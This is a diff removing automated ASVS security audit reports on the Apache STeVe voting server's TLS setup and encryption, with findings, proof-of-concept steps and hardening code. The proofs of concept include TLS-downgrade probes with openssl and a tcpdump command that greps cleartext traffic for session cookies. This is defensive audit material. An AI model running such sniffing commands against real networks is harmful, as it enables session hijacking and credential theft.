-1. **No `ssl_context.minimum_version = ssl.TLSVersion.TLSv1_2`** — Python's `ssl.SSLContext` defaults `minimum_version` to `TLSVersion.MINIMUM_SUPPORTED`, which is typically TLS 1.0 on most systems.
-2. **No protocol flags** — No use of `ssl.OP_NO_TLSv1 | ssl.OP_NO_TLSv1_1` to disable deprecated versions.
-3. **No TLS 1.3 preference** — No configuration ensures TLS 1.3 is the preferred negotiation outcome.
-4. **Both deployment modes affected** — `run_standalone()` passes raw paths; `run_asgi()` creates no SSL configuration at all, deferring entirely to Hypercorn's own defaults (which are also system-dependent without explicit config).
-
-For ASGI mode specifically (`run_asgi()` at lines 99–118), there is no Hypercorn configuration file or programmatic SSL context setup in the codebase at all, meaning TLS configuration for production ASGI deployment is completely uncontrolled by the application.
-
-**Proof of Concept:**
-
-An attacker can force a protocol downgrade using a client that only advertises TLS 1.0:
-
-```bash
-# Attempt TLS 1.0 connection against the voting server
-openssl s_client -connect voting-server:58383 -tls1
-
-# Attempt TLS 1.1 connection
-openssl s_client -connect voting-server:58383 -tls1_1
-
-# If either succeeds, the server accepts deprecated protocols
-# An on-path attacker can then exploit known TLS 1.0/1.1 weaknesses
-# (BEAST, POODLE padding oracle, Lucky Thirteen) to decrypt
-# authentication tokens or encrypted vote payloads in transit
-```
-
-**Impact:**
-
-- **Confidentiality:** Authentication tokens (OAuth session cookies) and vote submissions transmitted over deprecated TLS versions are vulnerable to known cryptographic attacks (BEAST on TLS 1.0 CBC ciphers, Lucky Thirteen timing attacks on TLS 1.0/1.1).
-- **Integrity:** A man-in-the-middle attacker exploiting TLS 1.0/1.1 weaknesses could modify vote payloads or inject election management API calls.
-- **Compliance:** Direct violation of ASVS 12.1.1 Level 1 which requires that "only the latest recommended versions of the TLS protocol are enabled, such as TLS 1.2 and TLS 1.3."
-- **Context:** This is a voting system where the domain context explicitly identifies "strong transport security is critical to prevent man-in-the-middle attacks and session hijacking."
-
-**Remediation:**
-
-Create an explicit `ssl.SSLContext` with enforced minimum version and pass it to the server framework:
-
-```python
-import ssl
-
-def _create_tls_context(certfile: pathlib.Path, keyfile: pathlib.Path) -> ssl.SSLContext:
- """Create a hardened TLS context enforcing TLS 1.2+ with TLS 1.3 preferred."""
- ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
-
- # Enforce TLS 1.2 as minimum, TLS 1.3 as maximum/preferred
- ctx.minimum_version = ssl.TLSVersion.TLSv1_2
- ctx.maximum_version = ssl.TLSVersion.TLSv1_3
-
- # Disable compression (CRIME attack) and enforce server cipher order
- ctx.options |= (
- ssl.OP_NO_COMPRESSION
- | ssl.OP_CIPHER_SERVER_PREFERENCE
- | ssl.OP_SINGLE_DH_USE
- | ssl.OP_SINGLE_ECDH_USE
- )
-
- # Restrict cipher suites to strong modern ciphers
- ctx.set_ciphers(
- 'ECDHE+AESGCM:ECDHE+CHACHA20:DHE+AESGCM:DHE+CHACHA20'
- ':!aNULL:!MD5:!DSS:!RC4:!3DES'
- )
-
- ctx.load_cert_chain(certfile=str(certfile), keyfile=str(keyfile))
- return ctx
-
-
-def run_standalone():
- # ... existing setup ...
-
- app = create_app()
-
- kwargs = {}
- if app.cfg.server.certfile:
- certfile = CERTS_DIR / app.cfg.server.certfile
- keyfile = CERTS_DIR / app.cfg.server.keyfile
-
- # Create hardened SSL context instead of passing raw paths
- ssl_context = _create_tls_context(certfile, keyfile)
- kwargs['ssl'] = ssl_context
-
- extra_files.update((certfile, keyfile))
-
- app.runx(port=app.cfg.server.port, extra_files=extra_files, **kwargs)
-```
-
-For ASGI/Hypercorn deployment, provide a `hypercorn.toml` configuration:
-
-```toml
-# hypercorn.toml
-certfile = "certs/server.pem"
-keyfile = "certs/server-key.pem"
-
-# Enforce TLS 1.2+ with modern ciphers
-ciphers = "ECDHE+AESGCM:ECDHE+CHACHA20:DHE+AESGCM:DHE+CHACHA20:!aNULL:!MD5:!DSS"
-```
-
----
-
-## Positive Security Patterns
-
-| Pattern | Location | Assessment |
-|---------|----------|------------|
-| TLS support is available | `config.yaml`, `main.py` lines 83-87 | Certificate-based TLS is supported, just not hardened |
-| `pathlib` used for path construction | `main.py` line 32, 87-88 | Safe path handling prevents path traversal in cert loading |
-| OAuth over HTTPS | `main.py` lines 42-45 | OAuth endpoints correctly use `https://` scheme |
-| Static folder disabled | `main.py` line 49 | `static_folder=None` reduces attack surface |
-| Certificate file watching | `main.py` lines 88-89 | Supports certificate rotation without manual restart |
-
----
-
-## Architecture Observations
-
-1. **Dual deployment modes create divergent TLS postures:** The standalone mode (`run_standalone`) at least passes cert/key to the framework. The ASGI mode (`run_asgi`) provides zero TLS configuration, fully delegating to external Hypercorn configuration that is not part of this codebase and may not exist.
-
-2. **Optional TLS is a deployment risk:** The config comment "leave these two fields blank for plain HTTP" means production deployments could accidentally run without TLS. While the comment notes "a proxy sits in front of this server," there is no programmatic check or warning when TLS is disabled.
-
-3. **No TLS configuration schema:** The `config.yaml` schema only supports `certfile` and `keyfile`. There are no fields for `minimum_tls_version`, `ciphers`, or `ssl_context` options, meaning even a security-conscious operator cannot enforce protocol versions through configuration alone.
-
----
-
-## Recommendations Summary
-
-### Immediate Actions (Priority 1-2)
-
-| Priority | Action | Effort | Timeline |
-|----------|--------|--------|----------|
-| **1** | Create an explicit `ssl.SSLContext` in `run_standalone()` with `minimum_version = TLSv1_2` and strong cipher suites | Low | Immediate |
-| **2** | Add `minimum_tls_version` and `ciphers` fields to the config schema so operators can control TLS settings | Low | Immediate |
-
-### Short-term Actions (Priority 3-4)
-
-| Priority | Action | Effort | Timeline |
-|----------|--------|--------|----------|
-| **3** | Provide a hardened `hypercorn.toml` template for ASGI deployments that enforces TLS 1.2+ and modern ciphers | Low | 1-2 weeks |
-| **4** | Add a startup warning/abort when `certfile` is empty and the server is not binding to localhost, to prevent accidental plain-HTTP production deployments | Low | 1-2 weeks |
-
-### Long-term Actions (Priority 5)
-
-| Priority | Action | Effort | Timeline |
-|----------|--------|--------|----------|
-| **5** | Integrate automated TLS configuration scanning (e.g., `testssl.sh` or `sslyze`) into CI/CD to verify protocol compliance on each release | Medium | Ongoing |
-
----
-
-## Appendix: Files Analyzed
-
-<details>
-<summary>Click to expand file list (2 files)</summary>
-
-1. **`v3/server/config.yaml.example`** (relevance: 10/10)
- - Configuration template defining TLS certificate paths
-
-2. **`v3/server/main.py`** (relevance: 10/10)
- - Main application entry point with `run_standalone()` and `run_asgi()` functions
- - TLS configuration logic at lines 83-91
-
-</details>
\ No newline at end of file
diff --git a/repos/apache/ASVS/reports/steve/d0aa7e9/tls_transport_security/12.2.1.md b/repos/apache/ASVS/reports/steve/d0aa7e9/tls_transport_security/12.2.1.md
deleted file mode 100644
index bda2e93..0000000
--- a/repos/apache/ASVS/reports/steve/d0aa7e9/tls_transport_security/12.2.1.md
+++ /dev/null
@@ -1,302 +0,0 @@
-# ASVS 12.2.1 Security Audit Report
-
-## Executive Summary
-
-**Audit Metadata:**
-- **Repository:** apache/steve
-- **Audit Date:** Apr 21, 2026
-- **Auditor:** Tooling Agents
-- **ASVS Requirement:** 12.2.1 — Verify that TLS is used for all connectivity between a client and external facing, HTTP-based services, and does not fall back to insecure or unencrypted communications.
- - **Level:** 1
- - **Section:** HTTPS Communication with External Facing Services
- - **Section Description:** Ensure all HTTP traffic to external-facing services which the application exposes is sent encrypted, with publicly trusted certificates.
- - **Chapter:** Secure Communication
- - **Control Objective:** This chapter includes requirements related to the specific mechanisms that should be in place to protect data in transit, both between an end-user client and a backend service, as well as between internal and backend services.
-
-**Files Analyzed:** 2 relevant out of 2 total, 0 skipped
-
-**Finding Counts:**
-
-| Severity | Count |
-|----------|-------|
-| Critical | 1 |
-| High | 0 |
-| Medium | 0 |
-| Low | 0 |
-| **Total** | **1** |
-
-**Summary:** Audit of the Quart-based voting application's TLS configuration reveals a **CRITICAL** vulnerability: the application is explicitly designed to operate over plain HTTP when TLS certificates are not configured, with no enforcement mechanism, no HTTP-to-HTTPS redirection, and configuration documentation actively instructing how to disable TLS. For a voting system handling authentication tokens and encrypted ballots, this directly violates the requirement that TLS "does not fal [...]
-
----
-
-## Security Controls Inventory
-
-| Control | Defined | Location | Applied | Enforced | Coverage |
-|---------|---------|----------|---------|----------|----------|
-| TLS Certificate Loading | ✅ | `main.py:84-87` | Conditional | ❌ | Standalone mode only |
-| TLS Key Loading | ✅ | `main.py:84-87` | Conditional | ❌ | Standalone mode only |
-| HTTP→HTTPS Redirect | ❌ | N/A | N/A | N/A | 0% |
-| HSTS Header | ❌ | N/A | N/A | N/A | 0% |
-| TLS Version Enforcement | ❌ | N/A | N/A | N/A | 0% |
-| Cipher Suite Configuration | ❌ | N/A | N/A | N/A | 0% |
-| ASGI TLS Configuration | ❌ | N/A | N/A | N/A | 0% |
-
----
-
-## Critical File Review
-
-### `v3/server/main.py`
-
-| Line(s) | Element | Security Relevance | Finding |
-|---------|---------|-------------------|---------|
-| 84 | `if app.cfg.server.certfile:` | TLS conditional toggle | **CRITICAL** — allows plain HTTP |
-| 85-86 | `kwargs['certfile'] / kwargs['keyfile']` | TLS cert loading | No SSL context, no version/cipher control |
-| 90 | `app.runx(...)` | Server start | Accepts both TLS and non-TLS kwargs |
-| 98-117 | `run_asgi()` | ASGI entry point | No TLS configuration or validation |
-
-### `v3/server/config.yaml.example`
-
-| Line(s) | Element | Security Relevance | Finding |
-|---------|---------|-------------------|---------|
-| 27-28 | Comments about plain HTTP | Documents insecure option | **CRITICAL** — guides users to disable TLS |
-| 29-30 | `certfile` / `keyfile` | TLS configuration | Present but optional |
-| 23 | `port: 58383` | Non-standard port | Suggests proxy deployment (comment on line 21) |
-
----
-
-## Findings
-
-### Critical Severity
-
-#### ASVS-1221-CRITICAL-001: Application Permits Plain HTTP Fallback for External-Facing Services
-
-| Field | Detail |
-|-------|--------|
-| **Severity** | **CRITICAL** |
-| **Gap Type** | **Type B — Control EXISTS but conditionally NOT APPLIED** |
-| **File** | `v3/server/main.py` |
-| **Function** | `run_standalone()` |
-| **Lines** | 84–90 |
-| **ASVS Requirement** | 12.2.1 — TLS for all external connectivity, no fallback to unencrypted |
-
-**Related Functions Checked:**
-- `run_standalone()` (lines 72-90)
-- `run_asgi()` (lines 98-117)
-- `create_app()` (referenced, lines 73, 106)
-
-**Description:**
-
-The TLS control exists but is implemented as an optional, bypassable configuration toggle. Three specific issues compound into a single critical vulnerability:
-
-1. **Explicit plain HTTP fallback by design**: The `if app.cfg.server.certfile:` conditional on line 84 means when the certfile config value is empty, blank, or absent, the server launches over plain HTTP with zero warnings, zero errors, and zero compensating controls. The configuration comments actively document this as intended behavior ("leave these two fields blank for plain HTTP").
-
-2. **No enforcement at any layer**: There is no startup validation that rejects a missing TLS configuration, no HTTP listener that redirects to HTTPS, no HSTS header injection, and no warning log message when operating without TLS. The application silently degrades to an insecure transport.
-
-3. **ASGI mode has no TLS configuration at all**: The `run_asgi()` function (lines 98-117) creates the application without any TLS parameters, delegating all transport security to the external ASGI server or reverse proxy with no verification that such protection exists.
-
-**Vulnerable Code:**
-
-```python
-# main.py lines 84-90
-kwargs = {}
-if app.cfg.server.certfile:
- kwargs['certfile'] = CERTS_DIR / app.cfg.server.certfile
- kwargs['keyfile'] = CERTS_DIR / app.cfg.server.keyfile
- extra_files.update((kwargs['certfile'], kwargs['keyfile']))
-
-# Spool up the app!
-app.runx(port=app.cfg.server.port, extra_files=extra_files, **kwargs)
-```
-
-**Corresponding Configuration Documentation (config.yaml.example lines 27-31):**
-
-```yaml
-# Specify the .pem files to serve using TLS, or leave these two
-# fields blank for plain HTTP. These files are relative to the
-# "certs" subdirectory of main.py (the app), or they can be absolute
-# paths to their installed location.
-certfile: localhost.apache.org+3.pem
-keyfile: localhost.apache.org+3-key.pem
-```
-
-**Data Flow:**
-
-```
-config.yaml (certfile: "") → app.cfg.server.certfile evaluates to falsy
- → if-check at line 84 is SKIPPED
- → kwargs remains empty dict {}
- → app.runx() called WITHOUT certfile/keyfile
- → Server starts on plain HTTP
- → All authentication tokens, session cookies, encrypted votes transmitted in cleartext
-```
-
-**Proof of Concept:**
-
-```yaml
-# config.yaml - deploy with empty TLS fields
-server:
- port: 58383
- certfile:
- keyfile:
-db: steve.db
-```
-
-```bash
-# Server starts on plain HTTP - no error, no warning
-$ ./main.py
-[... |INFO|__main__] ** Run-mode: Standalone
-# Listening on http://0.0.0.0:58383
-
-# Attacker on same network intercepts authentication tokens
-$ tcpdump -A -i eth0 port 58383 | grep -i cookie
-# Session tokens, voter credentials, vote payloads visible in cleartext
-```
-
-**Impact:**
-
-For this voting system, plain HTTP operation exposes:
-- **Authentication tokens**: ASF OAuth tokens and session cookies transmitted in cleartext, enabling session hijacking
-- **Vote contents**: Even though votes are encrypted at rest, they are transmitted from client to server in the HTTP request body — an attacker performing a network-level MITM can capture or modify vote submissions before they reach the encryption layer
-- **Election management operations**: Administrative actions (creating elections, opening/closing voting, tallying) performed over cleartext HTTP
-- **Complete loss of transport security guarantees**: The entire trust model of the voting system collapses if the network transport is unprotected
-
-**Remediation:**
-
-```python
-# main.py - Enforce TLS, never allow plain HTTP for external-facing service
-
-def run_standalone():
- "Run as a standalone server."
-
- # ... logging setup ...
-
- app = create_app()
- steve = sys.modules['steve']
- extra_files = { steve.election.QUERIES }
-
- # ENFORCE TLS - do not allow plain HTTP operation
- if not app.cfg.server.certfile or not app.cfg.server.keyfile:
- _LOGGER.critical(
- 'TLS certificate and key MUST be configured. '
- 'Plain HTTP is not permitted for this voting system. '
- 'Set server.certfile and server.keyfile in config.yaml.'
- )
- sys.exit(1)
-
- certfile = CERTS_DIR / app.cfg.server.certfile
- keyfile = CERTS_DIR / app.cfg.server.keyfile
-
- if not certfile.exists() or not keyfile.exists():
- _LOGGER.critical(
- 'TLS certificate or key file not found: %s, %s',
- certfile, keyfile
- )
- sys.exit(1)
-
- extra_files.update((certfile, keyfile))
-
- # Configure SSL context with minimum TLS 1.2
- import ssl
- ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
- ssl_context.minimum_version = ssl.TLSVersion.TLSv1_2
- ssl_context.load_cert_chain(certfile=certfile, keyfile=keyfile)
-
- # Disable weak ciphers
- ssl_context.set_ciphers(
- 'ECDHE+AESGCM:ECDHE+CHACHA20:DHE+AESGCM:DHE+CHACHA20'
- ':!aNULL:!MD5:!DSS:!RC4:!3DES'
- )
-
- app.runx(
- port=app.cfg.server.port,
- extra_files=extra_files,
- ssl=ssl_context,
- )
-```
-
-```yaml
-# config.yaml.example - Remove documentation of plain HTTP option
-server:
- port: 58383
- # TLS certificate and key files (REQUIRED). Relative to certs/
- # subdirectory or absolute paths.
- certfile: localhost.apache.org+3.pem
- keyfile: localhost.apache.org+3-key.pem
-```
-
-Additionally, add HSTS headers via a `before_request` or `after_request` hook in the application:
-
-```python
-@app.after_request
-async def set_security_headers(response):
- response.headers['Strict-Transport-Security'] = (
- 'max-age=31536000; includeSubDomains'
- )
- return response
-```
-
----
-
-## Positive Security Patterns
-
-| Pattern | Location | Assessment |
-|---------|----------|------------|
-| TLS configuration capability exists | `main.py:84-87`, `config.yaml.example:29-30` | Good — the mechanism is present |
-| Certificate paths use `pathlib` | `main.py:26-27, 85-86` | Good — proper path construction |
-| Example config ships with TLS enabled | `config.yaml.example:29-30` | Good — secure default values in example |
-| OAuth URLs use HTTPS | `main.py:35-38` | Good — hardcoded `https://` for OAuth endpoints |
-| Static file serving disabled | `main.py:40` | Good — `static_folder=None` reduces attack surface |
-| Proxy architecture acknowledged | `config.yaml.example:21` | Partial — recognizes proxy use but doesn't enforce TLS anywhere |
-
----
-
-## Architecture Observations
-
-1. **Proxy deployment model**: The comment "Typical usage is that a proxy sits in front of this server" (config.yaml.example line 21) suggests TLS termination may occur at a reverse proxy. However, the application has **no mechanism to verify or enforce** that a TLS-terminating proxy is present. The application should either enforce its own TLS or validate proxy headers (e.g., `X-Forwarded-Proto`).
-
-2. **Two execution modes, inconsistent TLS handling**: Standalone mode (`run_standalone`) has conditional TLS support. ASGI mode (`run_asgi`) has none at all. Neither mode enforces encrypted transport.
-
-3. **Framework delegation**: The `app.runx()` call delegates TLS handling to the `asfquart` framework. Without visibility into that framework's SSL context creation, it's unknown whether secure TLS versions (1.2+) and cipher suites are enforced even when certificates are provided.
-
----
-
-## Recommendations Summary
-
-### Immediate Actions (P0)
-
-| Recommendation | Effort | Impact |
-|----------------|--------|--------|
-| Make TLS mandatory — fail startup if certfile/keyfile are missing or invalid | Low | Critical |
-| Remove config documentation suggesting plain HTTP is acceptable | Low | Critical |
-
-### Short-term Actions (P1)
-
-| Recommendation | Effort | Impact |
-|----------------|--------|--------|
-| Create explicit `ssl.SSLContext` with `minimum_version=TLSv1_2` and restricted cipher suites instead of passing raw file paths | Medium | High |
-| Add HSTS response header (`Strict-Transport-Security`) to all responses | Low | High |
-
-### Long-term Actions (P2)
-
-| Recommendation | Effort | Impact |
-|----------------|--------|--------|
-| For ASGI mode, document mandatory Hypercorn TLS configuration and add startup validation of `X-Forwarded-Proto` or equivalent | Medium | Medium |
-| Add an HTTP listener on port 80 (or configured port) that returns 301 redirects to HTTPS, to handle accidental plaintext connections | Medium | Medium |
-
----
-
-## Appendix: Files Analyzed
-
-<details>
-<summary>Click to expand file list (2 files)</summary>
-
-1. **`v3/server/config.yaml.example`** (relevance: 10)
- - Configuration template documenting TLS settings
- - Lines 27-31: TLS certificate configuration with plain HTTP fallback documentation
-
-2. **`v3/server/main.py`** (relevance: 10)
- - Main application entry point
- - Lines 72-90: `run_standalone()` function with conditional TLS loading
- - Lines 98-117: `run_asgi()` function with no TLS configuration
-
-</details>
\ No newline at end of file
diff --git a/repos/apache/ASVS/reports/steve/d0aa7e9/tls_transport_security/12.2.2.md b/repos/apache/ASVS/reports/steve/d0aa7e9/tls_transport_security/12.2.2.md
deleted file mode 100644
index 0c7108a..0000000
--- a/repos/apache/ASVS/reports/steve/d0aa7e9/tls_transport_security/12.2.2.md
+++ /dev/null
@@ -1,269 +0,0 @@
-# ASVS 12.2.2 Security Audit Report
-
-## Executive Summary
-
-**Repository:** apache/steve
-
-**Audit Date:** Apr 21, 2026
-
-**Auditor:** Tooling Agents
-
-**ASVS Requirement:** 12.2.2 — ASVS Requirement 12.2.2
-Description: Verify that external facing services use publicly trusted TLS certificates.
-Level: 1
-Section: HTTPS Communication with External Facing Services
-Section Description: Ensure all HTTP traffic to external-facing services which the application exposes is sent encrypted, with publicly trusted certificates.
-Chapter: Secure Communication
-Control Objective: This chapter includes requirements related to the specific mechanisms that should be in place to protect data in transit, both between an end-user client and a backend service, as well as between internal and backend services.
-
-**Files analyzed:** 2 relevant out of 2 total, 0 skipped
-
-**Finding Counts:**
-
-| Severity | Count |
-|----------|-------|
-| Critical | 1 |
-| High | 0 |
-| Medium | 0 |
-| Low | 0 |
-| **Total** | **1** |
-
-**Summary:** The audit evaluates whether external-facing services use publicly trusted TLS certificates. Analysis of the server bootstrap code and configuration template reveals that TLS is entirely optional with no enforcement mechanism, and the only provided configuration guidance references development-only (mkcert) certificates that are not publicly trusted.
-
----
-
-## Security Controls Inventory
-
-| Control | Location | Status | Coverage |
-|---------|----------|--------|----------|
-| TLS certificate loading | `main.py:87-90` | DEFINED | Standalone mode only |
-| TLS enforcement (must-use) | N/A | **MISSING** | No entry points covered |
-| Certificate trust validation | N/A | **MISSING** | No entry points covered |
-| TLS minimum version enforcement | N/A | **MISSING** | No entry points covered |
-| Cipher suite restriction | N/A | **MISSING** | No entry points covered |
-| ASGI/Hypercorn TLS config | `main.py:97-117` | **MISSING** | Not addressed |
-
----
-
-## Critical File Review
-
-| File | Security Relevance | Key Concern |
-|------|-------------------|-------------|
-| `main.py` | TLS configuration and server startup | TLS optional, no version/cipher enforcement, no certificate validation |
-| `config.yaml.example` | Only TLS configuration template | References mkcert dev certificates, documents plain HTTP as acceptable |
-| `certs/` directory | Certificate storage | Contains development certificates by default |
-
-### Security-Sensitive Functions Reviewed
-
-**File: `v3/server/main.py`**
-
-| Function | Lines | Security Context | Review Status |
-|----------|-------|------------------|---------------|
-| `run_standalone()` | 87-91 | TLS certificate loading and server initialization | ⚠️ TLS optional, no enforcement |
-| `run_asgi()` | 97-117 | ASGI mode server startup | ⚠️ No TLS configuration |
-
-**File: `v3/server/config.yaml.example`**
-
-| Configuration | Lines | Security Context | Review Status |
-|---------------|-------|------------------|---------------|
-| `certfile` | 31 | TLS certificate path | ⚠️ References mkcert dev certificate |
-| `keyfile` | 32 | TLS private key path | ⚠️ References mkcert dev key |
-
----
-
-## Findings
-
-### Critical Severity
-
-#### ASVS-1222-CRITICAL-001 — TLS Not Enforced and No Certificate Trust Validation (Type B Gap)
-
-**Severity:** CRITICAL
-
-**Location:** `v3/server/main.py`, function `run_standalone()`, lines 87–91; `v3/server/config.yaml.example`, lines 31–33
-
-**Related Functions Checked:**
-- `run_standalone()` — TLS configuration and server startup
-- `run_asgi()` — ASGI mode initialization
-- `create_app()` — Application factory
-
-**Description:**
-
-The TLS control *exists* (certificate paths can be configured) but is *never enforced*. The conditional check `if app.cfg.server.certfile:` means TLS is silently skipped when the configuration field is empty, allowing the voting application to serve all external endpoints—including authentication, vote submission, and election management—over plain HTTP. Additionally, when TLS is enabled, no validation occurs to ensure the provided certificate is publicly trusted, and no TLS protocol ver [...]
-
-The only configuration template provided references mkcert-generated development certificates.
-
-**Vulnerable Code — `main.py:87-91`:**
-```python
-if app.cfg.server.certfile:
- kwargs['certfile'] = CERTS_DIR / app.cfg.server.certfile
- kwargs['keyfile'] = CERTS_DIR / app.cfg.server.keyfile
- extra_files.update((kwargs['certfile'], kwargs['keyfile']))
-
-# Spool up the app!
-app.runx(port=app.cfg.server.port, extra_files=extra_files, **kwargs)
-```
-
-**Configuration Template — `config.yaml.example:30-33`:**
-```yaml
-certfile: localhost.apache.org+3.pem
-keyfile: localhost.apache.org+3-key.pem
-```
-
-The filename pattern `localhost.apache.org+3.pem` is characteristic of [mkcert](https://github.com/FiloSottile/mkcert), which generates certificates signed by a local-only CA that is **not publicly trusted**. These certificates will fail trust validation on any client that hasn't installed mkcert's root CA.
-
-In ASGI mode (`run_asgi()`), TLS configuration is entirely absent from the application:
-
-```python
-def run_asgi():
- ...
- global steve_app
- steve_app = create_app()
- # No TLS configuration whatsoever
-```
-
-**Gap Classification:** Type B — The TLS capability is *defined* (certificate paths are loadable) but *not enforced* (no mandatory check, no trust validation, no version pinning). This creates false confidence that TLS is "supported" while allowing completely insecure deployment.
-
-**Data Flow:**
-```
-External voter/admin client
- → HTTP (port 58383, no TLS enforced)
- → Authentication tokens, encrypted votes, election data transmitted in cleartext
- → Missing control: no enforcement of TLS enablement
- → Missing control: no validation that certificate is publicly trusted
- → Missing control: no TLS 1.2+ minimum version
-```
-
-**Proof of Concept:**
-
-1. Copy `config.yaml.example` to `config.yaml`
-2. Clear the `certfile` and `keyfile` fields:
- ```yaml
- certfile:
- keyfile:
- ```
-3. Start the server: `./main.py`
-4. Server starts on plain HTTP — all voting endpoints serve unencrypted traffic
-5. Alternatively, leave the mkcert certificates in place — server starts with TLS but clients receive certificate warnings as the certificate is not publicly trusted
-
-**Impact:**
-- **Plain HTTP deployment**: All authentication tokens (OAuth), session cookies, encrypted votes, and election management data transmitted in cleartext. Enables passive eavesdropping and active man-in-the-middle attacks against voter sessions.
-- **mkcert certificate deployment**: Clients must bypass certificate warnings. Users trained to accept invalid certificates are vulnerable to MITM with attacker-controlled certificates. Automated clients may fail or require `verify=False`.
-- **ASGI deployment**: No TLS guidance or enforcement from the application; entirely dependent on external operator configuration with no validation.
-
-**Remediation:**
-
-```python
-# main.py - Enforce TLS in standalone mode
-import ssl
-
-def run_standalone():
- ...
- app = create_app()
-
- kwargs = {}
- certfile = app.cfg.server.get('certfile')
- keyfile = app.cfg.server.get('keyfile')
-
- if not certfile or not keyfile:
- _LOGGER.critical(
- "TLS certificates not configured. External-facing services "
- "MUST use TLS. Set server.certfile and server.keyfile in config.yaml."
- )
- sys.exit(1)
-
- cert_path = CERTS_DIR / certfile
- key_path = CERTS_DIR / keyfile
-
- # Validate certificate exists and is not a development/self-signed cert
- if not cert_path.exists() or not key_path.exists():
- _LOGGER.critical("Certificate files not found: %s, %s", cert_path, key_path)
- sys.exit(1)
-
- kwargs['certfile'] = cert_path
- kwargs['keyfile'] = key_path
-
- # Enforce minimum TLS version
- ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
- ssl_context.minimum_version = ssl.TLSVersion.TLSv1_2
- ssl_context.load_cert_chain(certfile=cert_path, keyfile=key_path)
-
- app.runx(port=app.cfg.server.port, extra_files=extra_files, **kwargs)
-```
-
-Update the configuration template to reference publicly trusted certificates:
-
-```yaml
-# config.yaml.example
-server:
- # TLS is REQUIRED. Obtain certificates from a public CA (e.g., Let's Encrypt).
- # Do NOT use self-signed or mkcert certificates in production.
- certfile: /etc/letsencrypt/live/vote.apache.org/fullchain.pem
- keyfile: /etc/letsencrypt/live/vote.apache.org/privkey.pem
-```
-
----
-
-## Positive Security Patterns
-
-| Pattern | Location | Assessment |
-|---------|----------|------------|
-| OAuth over HTTPS | `main.py:41-44` | OAuth endpoints use `https://` URLs correctly |
-| Certificate path resolution | `main.py:29-30` | Uses `pathlib.resolve()` to prevent path confusion |
-| Separate certs directory | `main.py:30` | Certificates isolated in dedicated directory |
-| Configuration-driven TLS | `config.yaml.example:31-33` | TLS parameters externalized from code (good for rotation) |
-
----
-
-## Architecture Observations
-
-1. **Proxy architecture acknowledged but not enforced**: The config comment states "a proxy sits in front of this server," suggesting TLS termination at a reverse proxy. However, this is neither documented as a requirement nor validated by the application. An operator could deploy the server directly exposed to the internet without a proxy.
-
-2. **Two deployment modes, neither enforces TLS**: Standalone mode makes TLS optional via config. ASGI mode delegates TLS entirely to the external server (Hypercorn). Neither mode includes any check that TLS is actually in effect for external-facing traffic.
-
-3. **No HSTS enforcement visible**: No Strict-Transport-Security headers observed in the server bootstrap. While these might exist in the `pages` or `api` modules (not provided), their absence from the main server configuration is notable.
-
----
-
-## Recommendations Summary
-
-### Immediate Actions (Critical Priority)
-
-1. **Enforce TLS as mandatory** — Remove the option to run plain HTTP in production. If a proxy architecture is intended, document it as a deployment requirement and add a configuration flag (e.g., `behind_proxy: true`) that explicitly acknowledges this choice.
-
-2. **Update configuration template** — Replace mkcert certificate references with guidance for publicly trusted certificates (Let's Encrypt, organizational CA) and add comments warning against development certificates in production.
-
-3. **Enforce TLS 1.2 minimum** — When TLS is enabled in standalone mode, configure an `ssl.SSLContext` with `minimum_version = TLSVersion.TLSv1_2` and restrict cipher suites to modern, secure options.
-
-### Short-term Actions
-
-1. **Add certificate validation** — Implement startup checks to validate that configured certificates are not self-signed or from development CAs (detect mkcert patterns, check certificate chain).
-
-2. **Document deployment architecture** — Create clear documentation specifying whether TLS termination should occur at the application level or at a reverse proxy, with security implications of each approach.
-
-3. **Add HSTS headers** — Implement Strict-Transport-Security headers with appropriate max-age values to prevent protocol downgrade attacks.
-
-### Long-term Actions
-
-1. **Implement certificate monitoring** — Add automated checks for certificate expiration and renewal status with alerting.
-
-2. **Add TLS configuration testing** — Include automated tests that verify TLS enforcement, minimum version compliance, and cipher suite restrictions.
-
-3. **Create security hardening guide** — Develop comprehensive deployment documentation covering TLS configuration, certificate management, and security best practices for production environments.
-
----
-
-## Appendix: Files Analyzed
-
-<details>
-<summary>Click to expand file list (2 files)</summary>
-
-1. `v3/server/config.yaml.example` (relevance: 10/10)
- - TLS certificate configuration template
- - References mkcert development certificates
-
-2. `v3/server/main.py` (relevance: 10/10)
- - Server bootstrap and TLS configuration
- - Standalone and ASGI mode initialization
- - Certificate loading logic
-
-</details>
\ No newline at end of file
diff --git a/repos/apache/ASVS/reports/steve/d0aa7e9/vote_encryption_storage/11.3.1.md b/repos/apache/ASVS/reports/steve/d0aa7e9/vote_encryption_storage/11.3.1.md
deleted file mode 100644
index 13512aa..0000000
--- a/repos/apache/ASVS/reports/steve/d0aa7e9/vote_encryption_storage/11.3.1.md
+++ /dev/null
@@ -1,181 +0,0 @@
-# ASVS 11.3.1 Security Audit Report
-
-## Executive Summary
-
-**Repository:** apache/steve
-**Audit Date:** Apr 21, 2026
-**Auditor:** Tooling Agents
-**ASVS Requirement:** 11.3.1 — Verify that insecure block modes (e.g., ECB) and weak padding schemes (e.g., PKCS#1 v1.5) are not used.
-**Level:** 1
-**Section:** Encryption Algorithms
-**Section Description:** Authenticated encryption algorithms built on AES and CHACHA20 form the backbone of modern cryptographic practice.
-**Chapter:** Cryptography
-**Control Objective:** The objective of this chapter is to define best practices for the general use of cryptography, as well as to instill a fundamental understanding of cryptographic principles and inspire a shift toward more resilient and modern approaches. It encourages the following:
-
-* Implementing robust cryptographic systems that fail securely, adapt to evolving threats, and are future-proof.
-* Utilizing cryptographic mechanisms that are both secure and aligned with industry best practices.
-* Maintaining a secure cryptographic key management system with appropriate access controls and auditing.
-* Regularly evaluating the cryptographic landscape to assess new risks and adapt algorithms accordingly.
-* Discovering and managing cryptographic use cases throughout the application's lifecycle to ensure that all cryptographic assets are accounted for and secured.
-
-**Files Analyzed:** 4 relevant out of 4 total, 0 skipped
-
-### Finding Summary
-
-| Severity | Count |
-|----------|-------|
-| Critical | 0 |
-| High | 0 |
-| Medium | 0 |
-| Low | 0 |
-
-**Audit Result:** After thorough analysis of the cryptographic implementation across all provided source files, **no findings** were identified for ASVS 11.3.1. The system does not use ECB mode or PKCS#1 v1.5 padding. The sole encryption mechanism is Python's `cryptography.fernet.Fernet`, which implements AES-128-CBC with HMAC-SHA256 in an Encrypt-then-MAC construction (authenticated encryption), avoiding the padding oracle vulnerabilities that would be present with unauthenticated CBC.
-
----
-
